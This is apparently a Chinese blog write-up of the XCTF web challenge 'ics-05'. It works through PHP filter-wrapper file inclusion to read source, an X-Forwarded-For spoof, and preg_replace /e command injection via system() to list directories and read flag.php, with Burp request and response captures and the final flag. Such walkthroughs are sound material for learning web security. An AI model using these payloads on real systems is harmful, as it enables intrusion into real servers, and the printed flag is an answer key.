




攻防世界XCTF: ics-05

原创

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分类专栏: [CTF_WEB_Writeup](#)

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[CTF_WEB_Writeup](#) 专栏收录该内容

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订阅专栏

ics-05 👍 4 最佳Writeup由划水大队——Mke • Mke2fs提供

难度系数: ★★★★★ 5.0

题目来源: XCTF 4th-CyberEarth

题目描述: 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

题目场景: 🖥️ http://111.198.29.45:43622

删除场景

倒计时: 03:59:34 延时

题目附件: 暂无

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根据提示来到设备维护中心

浏览器地址栏: `111.198.29.45:43622/index.php?page=index`

云平台设备维护中心

设备列表

<input type="checkbox"/>	ID	设备名	区域

```
<body>
  <ul class="layui-nav">
    <li class="layui-nav-item layui-this">
      <a href="?page=index">云平台设备维护中心</a>
    </li>
    <span class="layui-nav-bar" style="width: 0px; left: 103px; opacity: 0; top: 55px;">
  </ul>
```

查看源码可以发现这里隐藏了个超链接变量传参, 看到变量传参, 有可能存在文件包含漏洞读取源码, 然后这个站又是php的站, 那么使用php伪协议读取源码:

```
?page=php://filter/read=convert.base64-encode/resource=index.php
```


这样的话，思路就很明显了，抓包改包，增加一个参数，X-Forwarded-For: 127.0.0.1

The screenshot shows the Burp Suite interface with the following details:

- Request:**

```
GET /index.php?pat=/mochu/e&rep=system('ls')&sub=mochu HTTP/1.1
Host: 111.198.29.45:39805
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-for: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://111.198.29.45:39805/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=971lr8p37kmmviih85dggdbs5]
Connection: close
```
- Response:**

```
</script>
<script>
  layui.use('element', function() {
    var element = layui.element;
    //导航的hover效果、二级菜单等功能，需要依赖element模块
    //监听导航点击
    element.on('nav(demo)', function(elem) {
      //console.log(elem)
      layer.msg(elem.text());
    });
  });
</script>

<br>Welcome My Admin ! <br>css
index.html
index.php
js
layui
logo.png
s3chahahaDir
start.sh
视图.png

</body>
</html>
```

接着查s3chahahaDir这个文件夹，这里需要注意一些字符转化为URL编码，因为从URL传入的值都是会有一层URL编码的空格用 %20 或者 + 代替

&用 %26

```
?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%26ls')&sub=mochu
```

Target: http://111.198.29.45:39805

Request

```
GET /index.php?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%26ls')&sub=mochu HTTP/1.1
Host: 111.198.29.45:39805
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-for: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://111.198.29.45:39805/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=971lr8p37kmmwih85dggdb5
Connection: close
```

Response

```
{ field: 'area', title: '区域',
  { field: 'status', title: '维护状态', minWidth: 120, sort: true },
  { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
},
page: true
});
</script>
<script>
layui.use('element', function() {
  var element = layui.element;
  //导航的hover效果、二级菜单等功能，需要依赖element模块
  //监听导航点击
  element.on('nav(demo)', function(elem) {
    //console.log(elem)
    layer.msg(elem.text());
  });
});
</script>
<br >Welcome My Admin ! <br >flag
</body>
</html>
```

获取flag.php的内容

```
?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%26cat%20flag.php')&sub=mochu
```

5 x ...

Go Cancel < >

Target: http://111.198.29.45:39805

Request

Raw Params Headers Hex

```
GET /index.php?pat=/mochu/e&rep=system(%20s3chahahaDir/flag%26%26cat%20flag.php)&sub=mochu HTTP/1.1
Host: 111.198.29.45:39805
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-for: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3609.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://111.198.29.45:39805/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=97ll8p37kmmviih85dggdbe5
Connection: close
```


0 matches

Response

Raw Headers Hex HTML Render

```

page: true
});
});
</script>
<script>
layui.use('element', function() {
  var element = layui.element;
  //导航的hover效果、二级菜单等功能，需要依赖element模块
  //监听导航点击
  element.on('nav(demo)', function(elem) {
    //console.log(elem)
    layer.msg(elem.text());
  });
});
});
</script>
<br>Welcome My Admin ! <br><?php
$flag = 'cyberpeace{6f217fc06b835b04251c8f751359615c}';
?>
</body>
</html>
```



0 matches

Done

https://blog.csdn.net/ 2,751 bytes | 42 millis